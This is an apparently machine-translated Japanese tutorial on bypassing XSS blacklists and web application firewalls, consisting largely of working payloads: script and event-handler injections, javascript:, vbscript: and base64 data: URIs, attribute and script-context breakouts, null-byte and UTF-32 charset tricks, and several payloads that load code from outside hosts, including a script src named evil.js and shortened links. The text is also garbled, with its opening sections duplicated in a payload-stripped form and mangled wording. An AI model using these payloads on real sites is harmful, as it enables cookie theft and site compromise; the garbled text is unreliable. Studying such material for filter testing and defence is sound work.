Bypass xssフィルタの試験方法
12284 ワード
0 x 00背景
本論文は、「Modentn Web Application Firewalls Fingerprinenting and Bypeding XSS Filters」の中のbypass xssフィルタリングの部分から来ています.前にWAFの特徴によってどのWAFのテスト方法があるかが分かります.重点的に見てください.後ろのxssを回る基本的なテストプロセスはWAFの周りです.しかし、ここではWAFの正則欠陥によってテスト方法をバイパスします.協議上の問題ではありません.ですから、基本的に他のxssフィルタリングのシーンに通用します.初心者の方が早くXssをテストする基本的な方法を知ることができます.
0 x 01 Bypeassingブラックリスト
ほとんどの場所はブラックリストでフィルターを作っています.ブラックリストを回る3つの方法のテストがあります.
1)正常なHTMLタグの挿入を試みます.例えば、
2)閉じていないタブの挿入を試みます.例えば、
3)その後いくつかのXSSのパスロードをテストします.基本的にすべてのxssフィルタはフィルタリングされます.
5)
もしデータがフィルタされていないなら、javascriptプロトコルを挿入してみてください.
引き続きテストイベントのトリガ実行javascript:
完全に戻るということは、イベントのブラックリストを作ったということですが、HTML 5には150種類以上の方法でjavascriptコードを実行するイベントテストがあります.
次に他のラベルと属性をテストします.
Src属性
括弧がフィルタされているときは、throwを使って迂回します.
多くの場合、WAFはユーザーの入力データをエンコーディングします.
javascriptはとても柔軟な言語で、16進、ユニック、HTMLなど多くのコードを使用できます.しかし、これらのコードはどの位置に使用できるかについても規定があります.
属性:
属性:
コンテキストによるフィルタリング
WAFの最大の問題は、出力の位置を知らないコンテキストで、特定の環境によって迂回することができるということです.
属性に入力
たとえば:
たとえば:
たとえば:
HTMLエンティティのURLを使って符号化してブラックリストを迂回します.hrefでは自動的にエンティティが復号されます.失敗したら、vbscriptを使ってIE 10以下で有効にしたり、dataプロトコルを使ってみてもいいです.
JavaScript変換
javascriptプロトコルを使用する時に使用できる例:
あなたの入力がencodeURIComponentに表示されると、xssコードを挿入しやすくなります.
戻り結果がsvgタグにある場合、特性があります.
キャラクターセットのバグはIEに何度も現れました.最初はUTF-7ですが、これは前のバージョンでしか使えません.今は現在のブラウザで実行できるjavascriptについて議論しています.
0バイトで迂回:
その他、一連のブラウザの特性のXSSは以下の文章を参照することができます.
http://drops.wooyun.org/tips/147
0 x 02まとめ
本文は主にXSSの考え方の流れをテストします.全部のパスロードを書いていません.全部書く人もいません.ただ大まかな枠組みを作っています.実際に探している間に、ゆっくりとこのような考え方によって自分のパスロードを補充できます.必ず、大きな進歩があると思います.
本論文は、「Modentn Web Application Firewalls Fingerprinenting and Bypeding XSS Filters」の中のbypass xssフィルタリングの部分から来ています.前にWAFの特徴によってどのWAFのテスト方法があるかが分かります.重点的に見てください.後ろのxssを回る基本的なテストプロセスはWAFの周りです.しかし、ここではWAFの正則欠陥によってテスト方法をバイパスします.協議上の問題ではありません.ですから、基本的に他のxssフィルタリングのシーンに通用します.初心者の方が早くXssをテストする基本的な方法を知ることができます.
0 x 01 Bypeassingブラックリスト
ほとんどの場所はブラックリストでフィルターを作っています.ブラックリストを回る3つの方法のテストがあります.
1、 ( payload, )
2、
3、 bug
予備試験1)正常なHTMLタグの挿入を試みます.例えば、
<b>,<i>,<u>
は戻りページの状況がどうなっているかを確認してみます.HTMLに符号化されているか、またはラベルがフィルタされています.2)閉じていないタブの挿入を試みます.例えば、
<b,<i,<u,<marquee
を見てから戻りの応答を見てください.開いているタブにもフィルタリングがありますか?3)その後いくつかのXSSのパスロードをテストします.基本的にすべてのxssフィルタはフィルタリングされます.
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scriptsrc="http://rhainfosec.com/evil.js">
応答を見てください.フィルタの全部ですか?それとも部分だけフィルタしましたか?alert,prompt,confirm
文字も残していますか?また、大文字と小文字の組み合わせを試してみます.<scRiPt>alert(1);</scrIPt>
4)フィルタが<script>
と</script>
のタグだけをフィルタリングした場合、使用できます.<scr<script>ipt>alert(1)</scr<script>ipt>
このように<script>
タグがフィルタされた時に、残りの組み合わせはちょうど完全なpayloadを形成します.5)
<a href
タグで試験し、応答を確認する.<a href="http://www.google.com">Clickme</a>
<a
タグがフィルタされているかどうか、href中のデータがフィルタされているかどうかもしデータがフィルタされていないなら、javascriptプロトコルを挿入してみてください.
<a href="javascript:alert(1)">Clickme</a>
エラーjavascriptに戻るかどうかは、プロトコルの内容全体がフィルタされますか?それともJavascript文字だけをフィルタして、大文字と小文字の変換を試みます.引き続きテストイベントのトリガ実行javascript:
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
onmouseoverイベントがフィルタされているかどうかを見ます.無効なイベントをテストして、フィルタルールを見ます.<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
完全に戻ったのか、それともonmouseoverと同じようにされましたか?完全に戻るということは、イベントのブラックリストを作ったということですが、HTML 5には150種類以上の方法でjavascriptコードを実行するイベントテストがあります.
<body/onhashchange=alert(1)><a href=#>clickit
他のラベルをテストします次に他のラベルと属性をテストします.
Src属性
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframeタグ<iframe src="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embedラベル<embed/src=//goo.gl/nlX0P>
アクションのプロパティ<form,<isindex
などのタグの中のaction属性を利用してjavascriptを実行します.<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
formation属性<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
background属性<table background=javascript:alert(1)></table> // Opera 10.5 IE6
マスター属性<video poster=javascript:alert(1)//></video> // Opera 10.5
ダタ属性<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
コードのプロパティ<applet code="javascript:confirm(document.cookie);"> // Firefox
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
イベントトリガー<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
最も短いテストベクトル<q/oncut=open()>
<q/oncut=alert(1)>//
入れ子<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsonload=alert-1//IE8
<command onmouseover
="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8
括弧をフィルタする場合括弧がフィルタされているときは、throwを使って迂回します.
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
以上の二つのテストベクトルはChromeとIEの上に「uncaugt」というエラーが発生します.以下のベクトルを使ってもいいです.<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
expression属性<img style="xss:expression(alert(0))"> // IE7
<div style="color:rgb(''�x:expression(alert(1))"></div> // IE7
<style>#test{x:expression(alert(/XSS/))}</style> // IE7
locationのプロパティ<a onmouseover=location='javascript:alert(1)'>click
<body onfocus="loaction='javascript:alert(1)'">123
その他のいくつかのpayload<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg>
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
を選択しますフィルタされた時<svg><script>alert(/1/)</script> //
opera中は閉じなくてもいいです.<svg><script>alert( 1) // Opera
エンコーディング多くの場合、WAFはユーザーの入力データをエンコーディングします.
javascriptはとても柔軟な言語で、16進、ユニック、HTMLなど多くのコードを使用できます.しかし、これらのコードはどの位置に使用できるかについても規定があります.
属性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
サポートされているコード方式:HTML,8進,10進,16進,ユニフォーム属性:
data=
サポートコード:base 64コンテキストによるフィルタリング
WAFの最大の問題は、出力の位置を知らないコンテキストで、特定の環境によって迂回することができるということです.
属性に入力
<input value="XSStest" type=text>
制御できる位置はXSStestで、使用できます."><img src=x onerror=prompt(0);>
< >
が濾過されたら、換わることができます." autofocus onfocus=alert(1)//
他にもたくさんあります."onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
スクリプトタグに入力たとえば:
<script>
Var x="Input";
</script>
コントロールできる位置はInputで、scriptタグを閉じてコードを挿入できますが、同じように二重引用符を閉じるだけでjsコードを実行できます.";alert(1)//
最終結果は<script>
Var x="";alert(1)//
</script>
通常ではないイベントの傍受たとえば:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
以下は同じクラスです.DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
HREFの内容は制御できるたとえば:
<a href="Userinput">Click</a>
コントロールできるのはUserinputです.javascriptコードを入力すればいいです.javascript:alert(1)//
最後のグループは:<a href="javascript:alert(1)//">Click</a>
変換HTMLエンティティのURLを使って符号化してブラックリストを迂回します.hrefでは自動的にエンティティが復号されます.失敗したら、vbscriptを使ってIE 10以下で有効にしたり、dataプロトコルを使ってみてもいいです.
JavaScript変換
javascriptプロトコルを使用する時に使用できる例:
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
javascript:alert(document.cookie)
Vbscript変換vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSONあなたの入力がencodeURIComponentに表示されると、xssコードを挿入しやすくなります.
encodeURIComponent('userinput')
userinputで制御可能で、テストコード:-alert(1)-
-prompt(1)-
-confirm(1)-
最終結果:encodeURIComponent("-alert(1)-")
encodeURIComponent("-prompt(1)-")
SVGラベル戻り結果がsvgタグにある場合、特性があります.
<svg><script>varmyvar="YourInput";</script></svg>
Your Input制御可能、入力www.site.com/test.php?var=text";alert(1)//
いくつかのコードを彼が実行できるなら、<svg><script>varmyvar="text";alert(1)//";</script></svg>
ブラウザのbugキャラクターセットのバグはIEに何度も現れました.最初はUTF-7ですが、これは前のバージョンでしか使えません.今は現在のブラウザで実行できるjavascriptについて議論しています.
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
このページでは、現在のページの文字セットをコントロールできます.通常のテスト時:http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
戻りの結果、二重引用符が符号化されていることが分かります.<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value=""><img src=x onerror=prompt(0);>"></input>
</body>
</html>
設定文字セットはUTF-32です.http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上のこれはIE 9および以下のバージョンで実行できます.0バイトで迂回:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
IE 9および以下のバージョンで有効です.その他、一連のブラウザの特性のXSSは以下の文章を参照することができます.
http://drops.wooyun.org/tips/147
0 x 02まとめ
本文は主にXSSの考え方の流れをテストします.全部のパスロードを書いていません.全部書く人もいません.ただ大まかな枠組みを作っています.実際に探している間に、ゆっくりとこのような考え方によって自分のパスロードを補充できます.必ず、大きな進歩があると思います.